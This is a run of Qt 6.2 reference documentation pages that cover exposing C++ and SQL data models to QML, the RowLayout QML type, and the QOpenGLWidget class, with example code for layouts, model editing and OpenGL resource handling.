 This model is displayed by a [ListView](qml-qtquick-listview) delegate that accesses the *type* and *size* roles:

 
```
ListView {
    width: 200; height: 250

    required model

    delegate: Text {
        required property string type
        required property string size

        text: "Animal: " + type + ", " + size
    }
}
```
 QML views are automatically updated when the model changes. Remember the model must follow the standard rules for model changes and notify the view when the model has changed by using [QAbstractItemModel::dataChanged](qabstractitemmodel#dataChanged)(), [QAbstractItemModel::beginInsertRows](qabstractitemmodel#beginInsertRows)(), and so on. See the [Model subclassing reference](model-view-programming#model-subclassing-reference) for more information.

 The complete source code for this example is available in [examples/quick/models/abstractitemmodel](https://doc.qt.io/qt-6.2/qtquick-models-abstractitemmodel-example.html) within the Qt install directory.

 [QAbstractItemModel](qabstractitemmodel) presents a hierarchy of tables, but the views currently provided by QML can only display list data. In order to display the child lists of a hierarchical model, use the [DelegateModel](qml-qtqml-models-delegatemodel) QML type, which provides the following properties and functions to be used with list models of [QAbstractItemModel](qabstractitemmodel) type:

 * *hasModelChildren* role property to determine whether a node has child nodes.
* [DelegateModel::rootIndex](qml-qtqml-models-delegatemodel#rootIndex-prop) allows the root node to be specified
* [DelegateModel::modelIndex](qml-qtqml-models-delegatemodel#modelIndex-method)() returns a [QModelIndex](qmodelindex) which can be assigned to [DelegateModel::rootIndex](qml-qtqml-models-delegatemodel#rootIndex-prop)
* [DelegateModel::parentModelIndex](qml-qtqml-models-delegatemodel#parentModelIndex-method)() returns a [QModelIndex](qmodelindex) which can be assigned to [DelegateModel::rootIndex](qml-qtqml-models-delegatemodel#rootIndex-prop)

 ### SQL Models

 Qt provides C++ classes that support SQL data models. These classes work transparently on the underlying SQL data, reducing the need to run SQL queries for basic SQL operations such as create, insert, or update. For more details about these classes, see [Using the SQL Model Classes](sql-model).

 Although the C++ classes provide complete feature sets to operate on SQL data, they do not provide data access to QML. So you must implement a C++ custom data model as a subclass of one of these classes, and expose it to QML either as a type or context property.

 #### Read-only Data Model

 The custom model must reimplement the following methods to enable read-only access to the data from QML:

 * [roleNames](qabstractitemmodel#roleNames)() to expose the role names to the QML frontend. For example, the following version returns the selected table's field names as role names:
```
 QHash<int, QByteArray> SqlQueryModel::roleNames() const
 {
    QHash<int, QByteArray> roles;
    // record() returns an empty QSqlRecord
    for (int i = 0; i < this->record().count(); i ++) {
        roles.insert(Qt::UserRole + i + 1, record().fieldName(i).toUtf8());
    }
    return roles;
}
```
* [data](qsqlquerymodel#data)() to expose SQL data to the QML frontend. For example, the following implementation returns data for the given model index:
```
QVariant SqlQueryModel::data(const QModelIndex &index, int role) const
{
    QVariant value;

    if (index.isValid()) {
        if (role < Qt::UserRole) {
            value = QSqlQueryModel::data(index, role);
        } else {
            int columnIdx = role - Qt::UserRole - 1;
            QModelIndex modelIndex = this->index(index.row(), columnIdx);
            value = QSqlQueryModel::data(modelIndex, Qt::DisplayRole);
        }
    }
    return value;
}
```

 The [QSqlQueryModel](qsqlquerymodel) class is good enough to implement a custom read-only model that represents data in an SQL database. The [chat tutorial](https://doc.qt.io/qt-6.2/qtquickcontrols-chattutorial-example.html) example demonstrates this very well by implementing a custom model to fetch the contact details from an SQLite database.

 #### Editable Data Model

 [QSqlTableModel](qsqltablemodel) implements setData() as described [below](qtquick-modelviewsdata-cppmodels#changing-model-data).

 Depending on the [EditStrategy](qsqltablemodel#EditStrategy-enum) used by the model, the changes are either queued for submission later or submitted immediately.

 You can also insert new data into the model by calling [QSqlTableModel::insertRecord](qsqltablemodel#insertRecord)(). In the following example snippet, a [QSqlRecord](qsqlrecord) is populated with book details and appended to the model:

 
```
...
QSqlRecord newRecord = record();
newRecord.setValue("author", "John Grisham");
newRecord.setValue("booktitle", "The Litigators");
insertRecord(rowCount(), newRecord);
...
```
 ### Exposing C++ Data Models to QML

 The above examples use [QQmlContext::setContextProperty](qqmlcontext#setContextProperty)() to set model values directly in QML components. An alternative to this is to register the C++ model class as a QML type (either [directly](https://doc.qt.io/qt-6.2/qtqml-cppintegration-overview.html#defining-qml-types-from-c) from a C++ entry-point, or within the initialization function of a [QML C++ plugin](https://doc.qt.io/qt-6.2/qtqml-modules-cppplugins.html), as shown below). This would allow the model classes to be created directly as types within QML:

 

|  |  |
| --- | --- |
| C++ | 
```
class MyModelPlugin : public QQmlExtensionPlugin
{
    Q_OBJECT
    Q_PLUGIN_METADATA(IID "org.qt-project.QmlExtension.MyModel" FILE "mymodel.json")
public:
    void registerTypes(const char *uri)
    {
        qmlRegisterType<MyModel>(uri, 1, 0,
                "MyModel");
    }
}
```
 |
| QML | 
```
MyModel {
    id: myModel
    ListElement { someProperty: "some value" }
}
```
 
```
ListView {
    width: 200; height: 250
    model: myModel
    delegate: Text { text: someProperty }
}
```
 |

 See [Writing QML Extensions with C++](https://doc.qt.io/qt-6.2/qtqml-tutorials-extending-qml-example.html) for details on writing QML C++ plugins.

 ### Changing Model Data

 Besides the `roleNames()` and `data()`, editable models must reimplement the [setData](qabstractitemmodel#setData) method to save changes to existing model data. The following version of the method checks if the given model index is valid and the `role` is equal to [Qt::EditRole](qt#ItemDataRole-enum):

 
```
bool EditableModel::setData(const QModelIndex &index, const QVariant &value, int role)
{
    if (index.isValid() && role == Qt::EditRole) {
        // Set data in model here. It can also be a good idea to check whether
        // the new value actually differs from the current value
        if (m_entries[index.row()] != value.toString()) {
            m_entries[index.row()] = value.toString();
            emit dataChanged(index, index, { Qt::EditRole, Qt::DisplayRole });
            return true;
        }
    }
    return false;
}
```
  **Note:** It is important to emit the [dataChanged](qabstractitemmodel#dataChanged)() signal after saving the changes.

  Unlike the C++ item views such as [QListView](qlistview) or [QTableView](qtableview), the `setData()` method must be explicitly invoked from QML delegates whenever appropriate. This is done by simply assigning a new value to the corresponding model property.

 
```
ListView {
    anchors.fill: parent
    model: EditableModel {}
    delegate: TextField {
        width: ListView.view.width
        text: model.edit
        onAccepted: model.edit = text
    }
}
```
  **Note:** The `edit` role is equal to [Qt::EditRole](qt#ItemDataRole-enum). See [roleNames](qabstractitemmodel#roleNames)() for the built-in role names. However, real life models would usually register custom roles.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquick-modelviewsdata-cppmodels.html>

RowLayout QML Type
==================

 Identical to [GridLayout](qml-qtquick-layouts-gridlayout), but having only one row. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Layouts |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-layouts-rowlayout-members.html)

 Properties
----------

 * **[layoutDirection](qml-qtquick-layouts-rowlayout#layoutDirection-prop)** : enumeration
* **[spacing](qml-qtquick-layouts-rowlayout#spacing-prop)** : real

 Detailed Description
--------------------

 To be able to use this type more efficiently, it is recommended that you understand the general mechanism of the Qt Quick Layouts module. Refer to [Qt Quick Layouts Overview](https://doc.qt.io/qt-6.2/qtquicklayouts-overview.html) for more information.

 It is available as a convenience for developers, as it offers a cleaner API.

 Items in a RowLayout support these attached properties:

 * [Layout.minimumWidth](qml-qtquick-layouts-layout#minimumWidth-attached-prop)
* [Layout.minimumHeight](qml-qtquick-layouts-layout#minimumHeight-attached-prop)
* [Layout.preferredWidth](qml-qtquick-layouts-layout#preferredWidth-attached-prop)
* [Layout.preferredHeight](qml-qtquick-layouts-layout#preferredHeight-attached-prop)
* [Layout.maximumWidth](qml-qtquick-layouts-layout#maximumWidth-attached-prop)
* [Layout.maximumHeight](qml-qtquick-layouts-layout#maximumHeight-attached-prop)
* [Layout.fillWidth](qml-qtquick-layouts-layout#fillWidth-attached-prop)
* [Layout.fillHeight](qml-qtquick-layouts-layout#fillHeight-attached-prop)
* [Layout.alignment](qml-qtquick-layouts-layout#alignment-attached-prop)
* [Layout.margins](qml-qtquick-layouts-layout#margins-attached-prop)
* [Layout.leftMargin](qml-qtquick-layouts-layout#topMargin-attached-prop)
* [Layout.rightMargin](qml-qtquick-layouts-layout#rightMargin-attached-prop)
* [Layout.topMargin](qml-qtquick-layouts-layout#topMargin-attached-prop)
* [Layout.bottomMargin](qml-qtquick-layouts-layout#bottomMargin-attached-prop)

 ![]



```
RowLayout {
    id: layout
    anchors.fill: parent
    spacing: 6
    Rectangle {
        color: 'teal'
        Layout.fillWidth: true
        Layout.minimumWidth: 50
        Layout.preferredWidth: 100
        Layout.maximumWidth: 300
        Layout.minimumHeight: 150
        Text {
            anchors.centerIn: parent
            text: parent.width + 'x' + parent.height
        }
    }
    Rectangle {
        color: 'plum'
        Layout.fillWidth: true
        Layout.minimumWidth: 100
        Layout.preferredWidth: 200
        Layout.preferredHeight: 100
        Text {
            anchors.centerIn: parent
            text: parent.width + 'x' + parent.height
        }
    }
}
```
 Read more about attached properties [here](qtqml-syntax-objectattributes).

 **See also** [ColumnLayout](qml-qtquick-layouts-columnlayout), [GridLayout](qml-qtquick-layouts-gridlayout), [StackLayout](qml-qtquick-layouts-stacklayout), [Row](qml-qtquick-row), and [Qt Quick Layouts Overview](https://doc.qt.io/qt-6.2/qtquicklayouts-overview.html).

 Property Documentation
----------------------

 ###  [since QtQuick.Layouts 1.1] layoutDirection : [enumeration](qml-enumeration)

 This property holds the layout direction of the row layout - it controls whether items are laid out from left to right or right to left. If `Qt.RightToLeft` is specified, left-aligned items will be right-aligned and right-aligned items will be left-aligned.

 Possible values:

 * Qt.LeftToRight (default) - Items are laid out from left to right.
* Qt.RightToLeft - Items are laid out from right to left

 This property was introduced in QtQuick.Layouts 1.1.

 **See also** [GridLayout::layoutDirection](qml-qtquick-layouts-gridlayout#layoutDirection-prop) and [ColumnLayout::layoutDirection](qml-qtquick-layouts-columnlayout#layoutDirection-prop).

 ###  spacing : [real](qml-real)

 This property holds the spacing between each cell. The default value is `5`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-layouts-rowlayout.html>

QOpenGLWidget Class
===================

 The QOpenGLWidget class is a widget for rendering OpenGL graphics. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QOpenGLWidget> |
|  CMake: |  find\_package(Qt6 COMPONENTS OpenGLWidgets REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::OpenGLWidgets) |
|  qmake: |  QT += openglwidgets |
|  Since: |  Qt 5.4 |
|  Inherits: | [QWidget](qwidget) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qopenglwidget-members.html)

 Public Types
------------

 

|  |  |
| --- | --- |
|  enum  | **[UpdateBehavior](qopenglwidget#UpdateBehavior-enum)** { NoPartialUpdate, PartialUpdate } |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QOpenGLWidget](qopenglwidget#QOpenGLWidget)**(QWidget \**parent* = nullptr, Qt::WindowFlags *f* = Qt::WindowFlags()) |
|  virtual  | **[~QOpenGLWidget](qopenglwidget#dtor.QOpenGLWidget)**() |
|  QOpenGLContext \* | **[context](qopenglwidget#context)**() const |
|  GLuint  | **[defaultFramebufferObject](qopenglwidget#defaultFramebufferObject)**() const |
|  void  | **[doneCurrent](qopenglwidget#doneCurrent)**() |
|  QSurfaceFormat  | **[format](qopenglwidget#format)**() const |
|  QImage  | **[grabFramebuffer](qopenglwidget#grabFramebuffer)**() |
|  bool  | **[isValid](qopenglwidget#isValid)**() const |
|  void  | **[makeCurrent](qopenglwidget#makeCurrent)**() |
|  void  | **[setFormat](qopenglwidget#setFormat)**(const QSurfaceFormat &*format*) |
|  void  | **[setTextureFormat](qopenglwidget#setTextureFormat)**(GLenum *texFormat*) |
|  void  | **[setUpdateBehavior](qopenglwidget#setUpdateBehavior)**(QOpenGLWidget::UpdateBehavior *updateBehavior*) |
|  GLenum  | **[textureFormat](qopenglwidget#textureFormat)**() const |
|  QOpenGLWidget::UpdateBehavior  | **[updateBehavior](qopenglwidget#updateBehavior)**() const |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[aboutToCompose](qopenglwidget#aboutToCompose)**() |
|  void  | **[aboutToResize](qopenglwidget#aboutToResize)**() |
|  void  | **[frameSwapped](qopenglwidget#frameSwapped)**() |
|  void  | **[resized](qopenglwidget#resized)**() |

 Protected Functions
-------------------

 

|  |  |
| --- | --- |
|  virtual void  | **[initializeGL](qopenglwidget#initializeGL)**() |
|  virtual void  | **[paintGL](qopenglwidget#paintGL)**() |
|  virtual void  | **[resizeGL](qopenglwidget#resizeGL)**(int *w*, int *h*) |

 Reimplemented Protected Functions
---------------------------------

 

|  |  |
| --- | --- |
|  virtual bool  | **[event](qopenglwidget#event)**(QEvent \**e*) override |
|  virtual int  | **[metric](qopenglwidget#metric)**(QPaintDevice::PaintDeviceMetric *metric*) const override |
|  virtual QPaintEngine \* | **[paintEngine](qopenglwidget#paintEngine)**() const override |
|  virtual void  | **[paintEvent](qopenglwidget#paintEvent)**(QPaintEvent \**e*) override |
|  virtual QPaintDevice \* | **[redirected](qopenglwidget#redirected)**(QPoint \**p*) const override |
|  virtual void  | **[resizeEvent](qopenglwidget#resizeEvent)**(QResizeEvent \**e*) override |

 Detailed Description
--------------------

 QOpenGLWidget provides functionality for displaying OpenGL graphics integrated into a Qt application. It is very simple to use: Make your class inherit from it and use the subclass like any other [QWidget](qwidget), except that you have the choice between using [QPainter](qpainter) and standard OpenGL rendering commands.

 QOpenGLWidget provides three convenient virtual functions that you can reimplement in your subclass to perform the typical OpenGL tasks:

 * [paintGL](qopenglwidget#paintGL)() - Renders the OpenGL scene. Gets called whenever the widget needs to be updated.
* [resizeGL](qopenglwidget#resizeGL)() - Sets up the OpenGL viewport, projection, etc. Gets called whenever the widget has been resized (and also when it is shown for the first time because all newly created widgets get a resize event automatically).
* [initializeGL](qopenglwidget#initializeGL)() - Sets up the OpenGL resources and state. Gets called once before the first time [resizeGL](qopenglwidget#resizeGL)() or [paintGL](qopenglwidget#paintGL)() is called.

 If you need to trigger a repaint from places other than [paintGL](qopenglwidget#paintGL)() (a typical example is when using [timers](qtimer) to animate scenes), you should call the widget's [update](qwidget#update)() function to schedule an update.

 Your widget's OpenGL rendering context is made current when [paintGL](qopenglwidget#paintGL)(), [resizeGL](qopenglwidget#resizeGL)(), or [initializeGL](qopenglwidget#initializeGL)() is called. If you need to call the standard OpenGL API functions from other places (e.g. in your widget's constructor or in your own paint functions), you must call [makeCurrent](qopenglwidget#makeCurrent)() first.

 All rendering happens into an OpenGL framebuffer object. [makeCurrent](qopenglwidget#makeCurrent)() ensure that it is bound in the context. Keep this in mind when creating and binding additional framebuffer objects in the rendering code in [paintGL](qopenglwidget#paintGL)(). Never re-bind the framebuffer with ID 0. Instead, call [defaultFramebufferObject](qopenglwidget#defaultFramebufferObject)() to get the ID that should be bound.

 QOpenGLWidget allows using different OpenGL versions and profiles when the platform supports it. Just set the requested format via [setFormat](qopenglwidget#setFormat)(). Keep in mind however that having multiple QOpenGLWidget instances in the same window requires that they all use the same format, or at least formats that do not make the contexts non-sharable. To overcome this issue, prefer using [QSurfaceFormat::setDefaultFormat](qsurfaceformat#setDefaultFormat)() instead of [setFormat](qopenglwidget#setFormat)().

  **Note:** Calling [QSurfaceFormat::setDefaultFormat](qsurfaceformat#setDefaultFormat)() before constructing the [QApplication](qapplication) instance is mandatory on some platforms (for example, macOS) when an OpenGL core profile context is requested. This is to ensure that resource sharing between contexts stays functional as all internal contexts are created using the correct version and profile.

  ### Painting Techniques

 As described above, subclass QOpenGLWidget to render pure 3D content in the following way:

 * Reimplement the [initializeGL](qopenglwidget#initializeGL)() and [resizeGL](qopenglwidget#resizeGL)() functions to set up the OpenGL state and provide a perspective transformation.
* Reimplement [paintGL](qopenglwidget#paintGL)() to paint the 3D scene, calling only OpenGL functions.

 It is also possible to draw 2D graphics onto a QOpenGLWidget subclass using [QPainter](qpainter):

 * In [paintGL](qopenglwidget#paintGL)(), instead of issuing OpenGL commands, construct a [QPainter](qpainter) object for use on the widget.
* Draw primitives using [QPainter](qpainter)'s member functions.
* Direct OpenGL commands can still be issued. However, you must make sure these are enclosed by a call to the painter's beginNativePainting() and endNativePainting().

 When performing drawing using [QPainter](qpainter) only, it is also possible to perform the painting like it is done for ordinary widgets: by reimplementing [paintEvent](qopenglwidget#paintEvent)().

 * Reimplement the [paintEvent](qopenglwidget#paintEvent)() function.
* Construct a [QPainter](qpainter) object targeting the widget. Either pass the widget to the constructor or the [QPainter::begin](qpainter#begin)() function.
* Draw primitives using [QPainter](qpainter)'s member functions.
* Painting finishes then the [QPainter](qpainter) instance is destroyed. Alternatively, call [QPainter::end](qpainter#end)() explicitly.

 ### OpenGL Function Calls, Headers and QOpenGLFunctions

 When making OpenGL function calls, it is strongly recommended to avoid calling the functions directly. Instead, prefer using [QOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html) (when making portable applications) or the versioned variants (for example, [QOpenGLFunctions\_3\_2\_Core](https://doc.qt.io/qt-6.2/qopenglfunctions-3-2-core.html) and similar, when targeting modern, desktop-only OpenGL). This way the application will work correctly in all Qt build configurations, including the ones that perform dynamic OpenGL implementation loading which means applications are not directly linking to an GL implementation and thus direct function calls are not feasible.

 In [paintGL](qopenglwidget#paintGL)() the current context is always accessible by caling [QOpenGLContext::currentContext](qopenglcontext#currentContext)(). From this context an already initialized, ready-to-be-used [QOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html) instance is retrievable by calling [QOpenGLContext::functions](qopenglcontext#functions)(). An alternative to prefixing every GL call is to inherit from [QOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html) and call [QOpenGLFunctions::initializeOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html#initializeOpenGLFunctions)() in [initializeGL](qopenglwidget#initializeGL)().

 As for the OpenGL headers, note that in most cases there will be no need to directly include any headers like GL.h. The OpenGL-related Qt headers will include qopengl.h which will in turn include an appropriate header for the system. This might be an OpenGL ES 3.x or 2.0 header, the highest version that is available, or a system-provided gl.h. In addition, a copy of the extension headers (called glext.h on some systems) is provided as part of Qt both for OpenGL and OpenGL ES. These will get included automatically on platforms where feasible. This means that constants and function pointer typedefs from ARB, EXT, OES extensions are automatically available.

 ### Code Examples

 To get started, the simplest QOpenGLWidget subclass could like like the following:

 
```
class MyGLWidget : public QOpenGLWidget
{
public:
    MyGLWidget(QWidget *parent) : QOpenGLWidget(parent) { }

protected:
    void initializeGL() override
    {
        // Set up the rendering context, load shaders and other resources, etc.:
        QOpenGLFunctions *f = QOpenGLContext::currentContext()->functions();
        f->glClearColor(1.0f, 1.0f, 1.0f, 1.0f);
        ...
    }

    void resizeGL(int w, int h) override
    {
        // Update projection matrix and other size related settings:
        m_projection.setToIdentity();
        m_projection.perspective(45.0f, w / float(h), 0.01f, 100.0f);
        ...
    }

    void paintGL() override
    {
        // Draw the scene:
        QOpenGLFunctions *f = QOpenGLContext::currentContext()->functions();
        f->glClear(GL_COLOR_BUFFER_BIT);
        ...
    }

};
```
 Alternatively, the prefixing of each and every OpenGL call can be avoided by deriving from [QOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html) instead:

 
```
class MyGLWidget : public QOpenGLWidget, protected QOpenGLFunctions
{
    ...
    void initializeGL() override
    {
        initializeOpenGLFunctions();
        glClearColor(...);
        ...
    }
    ...
};
```
 To get a context compatible with a given OpenGL version or profile, or to request depth and stencil buffers, call [setFormat](qopenglwidget#setFormat)():

 
```
QOpenGLWidget *widget = new QOpenGLWidget(parent);
QSurfaceFormat format;
format.setDepthBufferSize(24);
format.setStencilBufferSize(8);
format.setVersion(3, 2);
format.setProfile(QSurfaceFormat::CoreProfile);
widget->setFormat(format); // must be called before the widget or its parent window gets shown
```
 With OpenGL 3.0+ contexts, when portability is not important, the versioned [QOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html) variants give easy access to all the modern OpenGL functions available in a given version:

 
```
    ...
    void paintGL() override
    {
        QOpenGLFunctions_3_2_Core *f = QOpenGLContext::currentContext()->versionFunctions<QOpenGLFunctions_3_2_Core>();
        ...
        f->glDrawArraysInstanced(...);
        ...
    }
    ...
```
 As described above, it is simpler and more robust to set the requested format globally so that it applies to all windows and contexts during the lifetime of the application. Below is an example of this:

 
```
int main(int argc, char **argv)
{
    QApplication app(argc, argv);

    QSurfaceFormat format;
    format.setDepthBufferSize(24);
    format.setStencilBufferSize(8);
    format.setVersion(3, 2);
    format.setProfile(QSurfaceFormat::CoreProfile);
    QSurfaceFormat::setDefaultFormat(format);

    MyWidget widget;
    widget.show();

    return app.exec();
}
```
 ### Multisampling

 To enable multisampling, set the number of requested samples on the [QSurfaceFormat](qsurfaceformat) that is passed to [setFormat](qopenglwidget#setFormat)(). On systems that do not support it the request may get ignored.

 Multisampling support requires support for multisampled renderbuffers and framebuffer blits. On OpenGL ES 2.0 implementations it is likely that these will not be present. This means that multisampling will not be available. With modern OpenGL versions and OpenGL ES 3.0 and up this is usually not a problem anymore.

 ### Threading

 Performing offscreen rendering on worker threads, for example to generate textures that are then used in the GUI/main thread in [paintGL](qopenglwidget#paintGL)(), are supported by exposing the widget's [QOpenGLContext](qopenglcontext) so that additional contexts sharing with it can be created on each thread.

 Drawing directly to the QOpenGLWidget's framebuffer outside the GUI/main thread is possible by reimplementing [paintEvent](qopenglwidget#paintEvent)() to do nothing. The context's thread affinity has to be changed via [QObject::moveToThread](qobject#moveToThread)(). After that, [makeCurrent](qopenglwidget#makeCurrent)() and [doneCurrent](qopenglwidget#doneCurrent)() are usable on the worker thread. Be careful to move the context back to the GUI/main thread afterwards.

 Triggering a buffer swap just for the QOpenGLWidget is not possible since there is no real, onscreen native surface for it. It is up to the widget stack to manage composition and buffer swaps on the gui thread. When a thread is done updating the framebuffer, call [update](qwidget#update)() **on the GUI/main thread** to schedule composition.

 Extra care has to be taken to avoid using the framebuffer when the GUI/main thread is performing compositing. The signals [aboutToCompose](qopenglwidget#aboutToCompose)() and [frameSwapped](qopenglwidget#frameSwapped)() will be emitted when the composition is starting and ending. They are emitted on the GUI/main thread. This means that by using a direct connection [aboutToCompose](qopenglwidget#aboutToCompose)() can block the GUI/main thread until the worker thread has finished its rendering. After that, the worker thread must perform no further rendering until the [frameSwapped](qopenglwidget#frameSwapped)() signal is emitted. If this is not acceptable, the worker thread has to implement a double buffering mechanism. This involves drawing using an alternative render target, that is fully controlled by the thread, e.g. an additional framebuffer object, and blitting to the QOpenGLWidget's framebuffer at a suitable time.

 ### Context Sharing

 When multiple QOpenGLWidgets are added as children to the same top-level widget, their contexts will share with each other. This does not apply for QOpenGLWidget instances that belong to different windows.

 This means that all QOpenGLWidgets in the same window can access each other's sharable resources, like textures, and there is no need for an extra "global share" context.

 To set up sharing between QOpenGLWidget instances belonging to different windows, set the [Qt::AA\_ShareOpenGLContexts](qt#ApplicationAttribute-enum) application attribute before instantiating [QApplication](qapplication). This will trigger sharing between all QOpenGLWidget instances without any further steps.

 Creating extra [QOpenGLContext](qopenglcontext) instances that share resources like textures with the QOpenGLWidget's context is also possible. Simply pass the pointer returned from [context](qopenglwidget#context)() to [QOpenGLContext::setShareContext](qopenglcontext#setShareContext)() before calling [QOpenGLContext::create](qopenglcontext#create)(). The resulting context can also be used on a different thread, allowing threaded generation of textures and asynchronous texture uploads.

 Note that QOpenGLWidget expects a standard conformant implementation of resource sharing when it comes to the underlying graphics drivers. For example, some drivers, in particular for mobile and embedded hardware, have issues with setting up sharing between an existing context and others that are created later. Some other drivers may behave in unexpected ways when trying to utilize shared resources between different threads.

 ### Resource Initialization and Cleanup

 The QOpenGLWidget's associated OpenGL context is guaranteed to be current whenever [initializeGL](qopenglwidget#initializeGL)() and [paintGL](qopenglwidget#paintGL)() are invoked. Do not attempt to create OpenGL resources before [initializeGL](qopenglwidget#initializeGL)() is called. For example, attempting to compile shaders, initialize vertex buffer objects or upload texture data will fail when done in a subclass's constructor. These operations must be deferred to [initializeGL](qopenglwidget#initializeGL)(). Some of Qt's OpenGL helper classes, like [QOpenGLBuffer](qopenglbuffer) or [QOpenGLVertexArrayObject](qopenglvertexarrayobject), have a matching deferred behavior: they can be instantiated without a context, but all initialization is deferred until a [create](qwidget#create)(), or similar, call. This means that they can be used as normal (non-pointer) member variables in a QOpenGLWidget subclass, but the [create](qwidget#create)() or similar function can only be called from [initializeGL](qopenglwidget#initializeGL)(). Be aware however that not all classes are designed like this. When in doubt, make the member variable a pointer and create and destroy the instance dynamically in [initializeGL](qopenglwidget#initializeGL)() and the destructor, respectively.

 Releasing the resources also needs the context to be current. Therefore destructors that perform such cleanup are expected to call [makeCurrent](qopenglwidget#makeCurrent)() before moving on to destroy any OpenGL resources or wrappers. Avoid deferred deletion via [deleteLater](qobject#deleteLater)() or the parenting mechanism of [QObject](qobject). There is no guarantee the correct context will be current at the time the instance in question is really destroyed.

 A typical subclass will therefore often look like the following when it comes to resource initialization and destruction:

 
```
class MyGLWidget : public QOpenGLWidget
{
    ...

private:
    QOpenGLVertexArrayObject m_vao;
    QOpenGLBuffer m_vbo;
    QOpenGLShaderProgram *m_program;
    QOpenGLShader *m_shader;
    QOpenGLTexture *m_texture;
};

MyGLWidget::MyGLWidget()
    : m_program(0), m_shader(0), m_texture(0)
{
    // No OpenGL resource initialization is done here.
}

MyGLWidget::~MyGLWidget()
{
    // Make sure the context is current and then explicitly
    // destroy all underlying OpenGL resources.
    makeCurrent();

    delete m_texture;
    delete m_shader;
    delete m_program;

    m_vbo.destroy();
    m_vao.destroy();

    doneCurrent();
}

void MyGLWidget::initializeGL()
{
    m_vao.create();
    if (m_vao.isCreated())
        m_vao.bind();

    m_vbo.create();
    m_vbo.bind();
    m_vbo.allocate(...);

    m_texture = new QOpenGLTexture(QImage(...));

    m_shader = new QOpenGLShader(...);
    m_program = new QOpenGLShaderProgram(...);

    ...
}
```
 This is naturally not the only possible solution. One alternative is to use the [aboutToBeDestroyed](qopenglcontext#aboutToBeDestroyed)() signal of [QOpenGLContext](qopenglcontext). By connecting a slot, using direct connection, to this signal, it is possible to perform cleanup whenever the underlying native context handle, or the entire [QOpenGLContext](qopenglcontext) instance, is going to be released. The following snippet is in principle equivalent to the previous one:

 
```
void MyGLWidget::initializeGL()
{
    // context() and QOpenGLContext::currentContext() are equivalent when called from initializeGL or paintGL.
    connect(context(), &QOpenGLContext::aboutToBeDestroyed, this, &MyGLWidget::cleanup);
}

void MyGLWidget::cleanup()
{
    makeCurrent();
    delete m_texture;
    m_texture = 0;
    ...
    doneCurrent();
}
```
  **Note:** For widgets that change their associated top-level window multiple times during their lifetime, a combined approach is essential. Whenever the widget or a parent of it gets reparented so that the top-level window becomes different, the widget's associated context is destroyed and a new one is created. This is then followed by a call to [initializeGL](qopenglwidget#initializeGL)() where all OpenGL resources must get reinitialized. Due to this the only option to perform proper cleanup is to connect to the context's aboutToBeDestroyed() signal. Note that the context in question may not be the current one when the signal gets emitted. Therefore it is good practice to call [makeCurrent](qopenglwidget#makeCurrent)() in the connected slot. Additionally, the same cleanup steps must be performed from the derived class' destructor, since the slot connected to the signal will not get invoked when the widget is being destroyed.

   **Note:** When [Qt::AA\_ShareOpenGLContexts](qt#ApplicationAttribute-enum) is set, the widget's context never changes, not even when reparenting because the widget's associated texture is guaranteed to be accessible also from the new top-level's context.

  Proper cleanup is especially important due to context sharing. Even though each QOpenGLWidget's associated context is destroyed together with the QOpenGLWidget, the sharable resources in that context, like textures, will stay valid until the top-level window, in which the QOpenGLWidget lived, is destroyed. Additionally, settings like [Qt::AA\_ShareOpenGLContexts](qt#ApplicationAttribute-enum) and some Qt modules may trigger an even wider scope for sharing contexts, potentially leading to keeping the resources in question alive for the entire lifetime of the application. Therefore the safest and most robust is always to perform explicit cleanup for all resources and resource wrappers used in the QOpenGLWidget.

 ### Limitations

 Putting other widgets underneath and making the QOpenGLWidget transparent will not lead to the expected results: The widgets underneath will not be visible. This is because in practice the QOpenGLWidget is drawn before all other regular, non-OpenGL widgets, and so see-through type of solutions are not feasible. Other type of layouts, like having widgets on top of the QOpenGLWidget, will function as expected.

 When absolutely necessary, this limitation can be overcome by setting the [Qt::WA\_AlwaysStackOnTop](qt#WidgetAttribute-enum) attribute on the QOpenGLWidget. Be aware however that this breaks stacking order, for example it will not be possible to have other widgets on top of the QOpenGLWidget, so it should only be used in situations where a semi-transparent QOpenGLWidget with other widgets visible underneath is required.

 Note that this does not apply when there are no other widgets underneath and the intention is to have a semi-transparent window. In that case the traditional approach of setting [Qt::WA\_TranslucentBackground](qt#WidgetAttribute-enum) on the top-level window is sufficient. Note that if the transparent areas are only desired in the QOpenGLWidget, then [Qt::WA\_NoSystemBackground](qt#WidgetAttribute-enum) will need to be turned back to `false` after enabling [Qt::WA\_TranslucentBackground](qt#WidgetAttribute-enum). Additionally, requesting an alpha channel for the QOpenGLWidget's context via [setFormat](qopenglwidget#setFormat)() may be necessary too, depending on the system.

 QOpenGLWidget supports multiple update behaviors, just like [QOpenGLWindow](qopenglwindow). In preserved mode the rendered content from the previous [paintGL](qopenglwidget#paintGL)() call is available in the next one, allowing incremental rendering. In non-preserved mode the content is lost and [paintGL](qopenglwidget#paintGL)() implementations are expected to redraw everything in the view.

 Before Qt 5.5 the default behavior of QOpenGLWidget was to preserve the rendered contents between [paintGL](qopenglwidget#paintGL)() calls. Since Qt 5.5 the default behavior is non-preserved because this provides better performance and the majority of applications have no need for the previous content. This also resembles the semantics of an OpenGL-based [QWindow](qwindow) and matches the default behavior of [QOpenGLWindow](qopenglwindow) in that the color and ancillary buffers are invalidated for each frame. To restore the preserved behavior, call [setUpdateBehavior](qopenglwidget#setUpdateBehavior)() with `PartialUpdate`.

